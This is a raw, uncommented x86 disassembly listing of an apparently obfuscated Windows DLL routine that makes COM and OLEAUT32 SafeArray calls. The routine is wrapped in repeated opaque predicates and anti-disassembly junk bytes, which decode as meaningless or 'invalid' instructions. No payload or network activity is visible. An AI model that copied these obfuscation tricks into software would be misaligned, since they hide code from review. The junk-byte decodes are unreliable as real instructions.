mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x78], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x8c]
movsd qword [ebp - 0x8c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015e2c
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10015e2c
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x10015ea8
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015ea2
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x8c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x10015ea8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
add eax, dword [ebp - 0xa0]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10016022
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x9c]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x8c], xmm0
xor eax, eax
je 0x10015f19
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf668875], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x78]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x8c]
movsd qword [ebp - 0x8c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10015fa9
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b9d
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016011
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x8c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016014
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b9d
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10017c7a
mov byte [ebp - 4], 4
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], 0
mov ecx, dword [eax]
push 0x1007bcac
push eax
call dword [ecx]
movsx ecx, byte [0x10082ab9]
xor edx, edx
mov dword [ebp - 0x88], eax
lea eax, [edi + esi*2]
add eax, esi
mov dword [ebp - 0xa4], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001635f
cmp dword [ebp - 0x88], 0
jge 0x10016097
mov ecx, 1
xor edx, edx
jmp 0x100160ae
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c], xmm0
mov edx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x8c]
call fcn.1006bd80
movsd qword [ebp - 0x8c], xmm0
xor eax, eax
je 0x100160c0
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x834b], cl
dec dword [ebx + 0xf668c7d]
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
lea eax, [esi + esi*4]
cvtdq2pd xmm1, xmm1
lea ecx, [edi + eax*2]
mov dword [ebp - 0x78], ecx
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x8c]
movsd qword [ebp - 0x8c], xmm2
movsx eax, byte [0x10082ab9]
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001616c
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x1001616c
lea eax, [esi + esi*2]
mov dword [ebp - 0x7c], 4
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x100161e8
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100161e2
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x8c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x100161e8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
lea ecx, [edi + esi*4]
add eax, ecx
xor edx, edx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x1001635f
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xac]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x8c], xmm0
xor eax, eax
je 0x10016256
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx + 0xf668875], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x78]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x8c]
movsd qword [ebp - 0x8c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100162e6
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b8c
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001634e
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x8c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016351
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b8c
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0x20], 0
mov byte [ebp - 4], 8
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 1
push 0x11
mov dword [ebp - 0x14], 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
lea ecx, [ebp - 0x54]
mov dword [ebp - 0xb8], eax
push ecx
push eax
mov dword [ebp - 0x54], 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov dword [ebp - 0x7c], eax
xor edx, edx
lea eax, [esi + esi*4]
add eax, eax
mov dword [ebp - 0x88], eax
lea esi, [eax + edi]
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
mov dword [ebp - 0x90], esi
lea eax, [eax + esi]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001668d
cmp dword [ebp - 0x7c], 0
jge 0x100163ea
mov ecx, 1
xor edx, edx
jmp 0x100163f8
xorps xmm0, xmm0
movlpd qword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
call fcn.1006bd80
movsd qword [ebp - 0x80], xmm0
xor eax, eax
je 0x10016407
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x80]
movsd qword [ebp - 0x80], xmm2
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100164a8
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x100164a8
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x7c], 4
lea eax, [esi + esi*2]
add eax, eax
mov dword [ebp - 0x78], eax
jmp 0x10016527
mov eax, dword [ebp - 0x84]
xor edx, edx
mov edi, dword [ebp - 0x74]
lea esi, [eax + eax*2]
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add esi, esi
add eax, esi
mov dword [ebp - 0x78], esi
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016521
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x80]
sub eax, ecx
mov dword [ebp - 0x78], esi
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016524
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xb4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x1001668d
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10016590
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f4b], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001661d
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b7b
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016682
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016685
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b7b
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
sub ecx, eax
push ecx
push eax
push dword [ebp - 0x54]
call fcn.1004a210
add esp, 0xc
push dword [ebp - 0xb8]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
movsx ecx, byte [0x10082ab9]
mov esi, eax
mov eax, dword [ebp - 0xa0]
xor edx, edx
add eax, edi
mov dword [ebp - 0x78], eax
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016999
test esi, esi
jns 0x100166eb
mov ecx, 1
xor edx, edx
jmp 0x100166f9
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10016708
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100167ac
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x100167ac
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x7c], 4
lea eax, [esi + esi*2]
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x10016831
mov esi, dword [ebp - 0x84]
xor edx, edx
movsx eax, byte [0x10082ab9]
mov edi, dword [ebp - 0x74]
lea ecx, [esi + esi*2]
add ecx, ecx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001682b
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x10016831
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
lea ecx, [edi + esi*8]
add eax, ecx
xor edx, edx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10016999
movsx ecx, byte [0x10082ab9]
lea eax, [esi + edi]
lea eax, [eax + esi*8]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x1001689e
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f4b], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001692b
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b7b
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x74]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001698e
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016991
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b7b
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x10017c7a
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x100169b5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 8
push ecx
push dword [ebp - 0xb8]
mov dword [ebp - 0x20], 0
mov eax, dword [esi]
push esi
call dword [eax + 0xb4]
movsx ecx, byte [0x10082ab9]
mov esi, eax
mov eax, dword [ebp - 0xbc]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016cb0
test esi, esi
jns 0x10016a0b
mov ecx, 1
xor edx, edx
jmp 0x10016a19
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10016a28
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016ac1
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10016ac1
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x7c], 4
jmp 0x10016b3a
mov esi, dword [ebp - 0x84]
xor edx, edx
movsx eax, byte [0x10082ab9]
mov edi, dword [ebp - 0x74]
lea ecx, [esi + esi*2]
add ecx, ecx
add eax, ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016b34
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016b37
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xac]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10016cb0
movsx eax, byte [0x10082ab9]
lea ecx, [esi + esi*2]
add ecx, ecx
xor edx, edx
add ecx, edi
add eax, ecx
mov dword [ebp - 0x68], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0xb0], xmm0
xor eax, eax
je 0x10016baf
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f4b], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016c42
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b7b
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016ca5
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016ca8
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b7b
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x10017c7a
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x24]
mov dword [ebp - 0x24], 0
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x40]
movsx ecx, byte [0x10082ab9]
mov esi, eax
mov eax, dword [ebp - 0xb4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016fae
test esi, esi
jns 0x10016d13
mov ecx, 1
xor edx, edx
jmp 0x10016d21
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x10016d30
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f43], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov edi, dword [ebp - 0x90]
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016dcb
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x10016dcb
mov eax, dword [ebp - 0x84]
mov edi, 4
lea esi, [eax + eax*2]
add esi, esi
jmp 0x10016e3b
mov eax, dword [ebp - 0x84]
xor edx, edx
lea esi, [eax + eax*2]
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x74]
add esi, esi
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016e38
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si edi, xmm0
jmp 0x10016e3b
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x74]
xor edx, edx
movsx eax, byte [0x10082ab9]
add ecx, esi
add eax, ecx
mov dword [ebp - 0x68], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
